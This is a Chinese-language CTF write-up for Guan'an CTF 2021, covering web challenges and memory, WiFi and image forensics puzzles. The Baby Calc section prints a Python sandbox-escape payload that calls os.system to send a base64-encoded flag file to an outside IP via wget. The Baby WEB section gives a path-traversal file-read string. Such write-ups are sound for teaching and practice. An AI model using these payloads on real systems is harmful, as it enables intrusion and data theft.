观安CTF 2021 WriteUp
WEB⌗
Baby Calc⌗
通过测试发现该环境为python3沙盒逃逸 通过网上公开的POC发现存在代码执行,但是无法回显 尝试反弹SHELL均失败 发现系统不存在curl命令,但存在wget通过wget命令携带回显带出到vps
如下图使用wget,把命令包含在``中在使用base64带到vps中
expr=__import__("os").__getattribute__("metsys"[::-1])("wget%20http://49.234.223.23:1234/1.txt?data=`cat%20/flag_is_here|grep%20flag|base64`")
vps监听:
Baby WEB⌗
题目提供了源代码,查看incloud.php文件,发现57行存在file_put_contents函数,且password未做限制。通过构造poc使password造成任意文件读取漏洞
POC:1|../../../../../../../../flag|
注册任意用户名,密码为POC,登陆密码为1。
登陆后返回flag
Misc⌗
老电脑的内存⌗
经典的内存取证题目,通过imageinfo来获取该内存镜像的摘要信息 查看缓存在内存中的注册表: 获取 SAM 表中的用户: 查看内存中系统的密码: CMD5解密 通过filescan查找ctf用户下的文件 发现1.png
volatility -f Windows\ 7-c0e05742.vmem --profile=Win7SP1x86_23418 filescan | grep ctf
将1.png dump下来,查看文件。与密码结合获得flag ##被加密的wifi 通过分析数据包发现key为88888888 通过airdecap-ng命令输入密码解密数据包 在已解密的数据包中找到flag
release⌗
拿到一张图片,首先使用binwalk
分离文件,没有发现有用信息
通过winhex修改文件高度
得到一半flag
翻到文件底部发现很多20和09,想到通过二进制生成二维码,将20修改为0,09改为1
使用脚本转换为图片,得到二维码
扫描得到flag